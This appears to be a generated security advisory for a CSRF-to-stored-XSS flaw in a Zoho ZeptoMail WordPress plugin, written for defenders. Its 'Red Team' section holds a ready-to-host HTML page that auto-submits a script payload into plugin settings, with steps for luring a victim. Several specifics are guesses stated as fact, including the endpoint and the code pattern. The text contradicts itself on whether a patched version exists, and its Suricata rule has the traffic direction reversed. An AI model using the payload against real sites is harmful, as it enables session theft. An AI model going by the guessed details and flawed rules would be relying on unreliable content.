CVE-2025-49028

Executive Summary

CVE-2025-49028 is a Cross-Site Request Forgery (CSRF) vulnerability in Zoho ZeptoMail transmail, affecting versions through 3.3.1. This flaw allows an attacker to perform unauthorized actions on behalf of an authenticated user, leading to Stored Cross-Site Scripting (XSS). The vulnerability has a CVSS score of 7.1 (High), indicating significant risk due to the potential for data theft, session hijacking, and persistent payload injection. No public proof-of-concept or patch details are currently available, but the EPSS score of 0.0% suggests low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability affects Zoho ZeptoMail, a third-party email delivery service integrated into web applications. Organizations using this plugin should verify their version and apply any available updates from Zoho. Since no patch is confirmed, consider disabling the plugin or implementing strict CSRF protections as a temporary measure.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a malicious link)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

The threat level is High due to the combination of CSRF and Stored XSS, which can lead to persistent compromise of user sessions and data.

Deep Dive & Mechanics

The vulnerability resides in the Zoho ZeptoMail transmail component, which handles email sending functionality. A CSRF attack can trick an authenticated user into submitting a malicious request, such as changing email settings or injecting malicious scripts. The Stored XSS aspect means the injected script is saved on the server and executed when other users view the affected page, enabling widespread impact.

Root Cause: Lack of CSRF tokens or origin validation in state-changing requests, combined with insufficient output sanitization, allows an attacker to craft a malicious link that, when clicked by an authenticated user, performs unauthorized actions and stores XSS payloads.

Attack Flow:

1. Attacker crafts a malicious HTML page or email containing a CSRF request to the ZeptoMail endpoint.
2. Victim, authenticated to the Zoho ZeptoMail service, clicks the link.
3. The request executes, changing settings or injecting a script that is stored on the server.
4. The stored script executes when other users access the affected page, leading to data theft or session hijacking.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely lacks CSRF protection and proper input validation.

Vulnerable Code (PHP example):

// Vulnerable: No CSRF token check
if ($_POST['action'] == 'update_settings') {
    update_option('zepto_mail_settings', $_POST['settings']);
}

Patched Code (Hypothetical):

// Patched: CSRF token validation and input sanitization
if (!wp_verify_nonce($_POST['_wpnonce'], 'zepto_mail_update')) {
    die('CSRF validation failed');
}
$sanitized_settings = array_map('sanitize_text_field', $_POST['settings']);
update_option('zepto_mail_settings', $sanitized_settings);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Zoho ZeptoMail <= 3.3.1
• An authenticated user session

Exploitation Steps:

1. Create a malicious HTML page that auto-submits a form to the ZeptoMail endpoint:

<html>
<body>
<form action="https://target.com/wp-admin/admin-post.php?action=zepto_mail_update" method="POST">
  <input type="hidden" name="settings[mail_from]" value="attacker@evil.com">
  <input type="hidden" name="settings[mail_from_name]" value="<script>alert('XSS')</script>">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the page and send the link to the victim.
3. Once the victim clicks, the CSRF executes, updating settings and storing the XSS payload.
4. The stored XSS triggers when the victim or other users view the settings page.

Blue Team

Detection:

• Monitor for unusual POST requests to admin-post.php with action zepto_mail_update without a valid nonce.
• Look for script tags in settings fields like mail_from_name.

Mitigation:

• Implement CSRF tokens on all state-changing endpoints.
• Sanitize and validate all user inputs.
• Use Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-post.php?action=zepto_mail_update with suspicious parameters.
• File: Modified wp_options table entries containing script tags in zepto_mail_settings.
• Log: Access logs showing repeated POST requests from different IPs to the same endpoint.
• Behavior: Unexpected changes to email settings or appearance of script tags in admin pages.

Detection Engineering

YARA Rule

rule Detect_Zoho_ZeptoMail_CSRF_XSS {
    meta:
        description = "Detects potential CSRF/XSS payloads targeting Zoho ZeptoMail"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49028"
    strings:
        $csrf_action = "zepto_mail_update"
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $settings_field = "mail_from_name"
    condition:
        $csrf_action and $xss_payload and $settings_field
}

Sigma Rule

title: Zoho ZeptoMail CSRF to Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to ZeptoMail settings endpoint without CSRF token
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=zepto_mail_update'
    condition: selection
falsepositives:
    - Legitimate admin updates with valid nonce
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-49028 Zoho ZeptoMail CSRF to Stored XSS";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=zepto_mail_update"; http_uri;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-49028;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Zoho ZeptoMail plugin if not critical.
2. Implement CSRF tokens using WordPress nonce functions.
3. Add input sanitization for all settings fields.

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to version > 3.3.1.
• Conduct security audit of all third-party plugins.

Workarounds:

• Use Web Application Firewall (WAF) rules to block suspicious POST requests.
• Enforce strict Content Security Policy (CSP) headers.

Valters IT signature: This report is generated for educational and defensive purposes. Always follow responsible disclosure.